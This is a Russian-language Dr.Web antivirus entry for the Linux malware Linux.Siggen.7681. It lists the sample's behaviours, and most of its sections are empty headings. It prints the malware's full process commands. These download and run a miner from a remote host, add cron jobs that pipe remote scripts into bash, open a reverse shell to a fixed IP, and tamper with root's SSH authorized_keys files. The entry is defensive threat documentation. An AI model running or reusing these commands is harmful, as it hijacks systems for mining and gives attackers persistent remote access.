Linux.Siggen.7681

Linux.Siggen.7681

Добавлен в вирусную базу Dr.Web: 2024-06-25

Описание добавлено: 2024-06-25

Для обеспечения автоматического запуска и распространения:

Создает или модифицирует следующие файлы:

Вредоносные функции:

Запускает себя в качестве демона

Получает доступ к ключам SSH

Выполняет трассировку процессов:

Запускает процессы:

rm -f /etc/hosts.old
curl -fs http://w.softprojectcode.com/miner -o /tmp/.miner && chmod 755 /tmp/.miner && /tmp/.miner
chattr -ia /etc/crontab > /dev/null 2>&1
chattr -ia -R /var/spool/cron/crontabs
chattr -ia -R /root/.ssh
chattr +i /etc/cron.hourly/prelink
chattr -ia -R /var/spool/cron/crontabs > /dev/null 2>&1
curl -fs http://w.softprojectcode.com/miner -o /tmp/.miner
chmod 755 /etc/cron.hourly/prelink
rm -rf /root/.ssh/authorized_keys2
echo \x27#!/bin/bash\x27 > /etc/cron.hourly/prelink
chattr +i /etc/cron.hourly/prelink > /dev/null 2>&1
chmod 755 /tmp/.miner
/tmp/.miner
chattr +i /etc/cron.d/watch > /dev/null 2>&1
echo \x270 2 * * * root wget -c http://z.shavsl.com/b -qO -|bash \x27 >> /etc/cron.d/watch
rm -rf /root/.ssh/authorized_keys
chattr -ia /etc/crontab
echo \x270 1 * * * root curl -fs http://z.shavsl.com/b|bash \x27 > /etc/cron.d/watch
chattr -ia -R /etc/cron.d
chattr +i /root/.ssh/authorized_keys2
chattr -ia -R /etc/cron.d > /dev/null 2>&1
chattr -ia -R /var/spool/cron
chattr +i /etc/cron.d/watch
chattr -ia -R /etc/cron.hourly
chattr -ia -R /etc/cron.hourly > /dev/null 2>&1
chattr +i /root/.ssh/authorized_keys
echo \x27bash -i >& /dev/tcp/198.144.156.34/8443 0>&1\x27 >> /etc/cron.hourly/prelink
chattr -ia -R /var/spool/cron > /dev/null 2>&1

Выполняет операции с файловой системой:

Модифицирует права доступа к файлам:

Создает папки:

Создает или модифицирует файлы:

Удаляет файлы:

Сетевая активность:

Устанавливает соединение:

DNS ASK:

Посылает данные следующим серверам:

Получает данные от следующих серверов:

Прочее:

Собирает информацию о CPU

Собирает информацию об оперативной памяти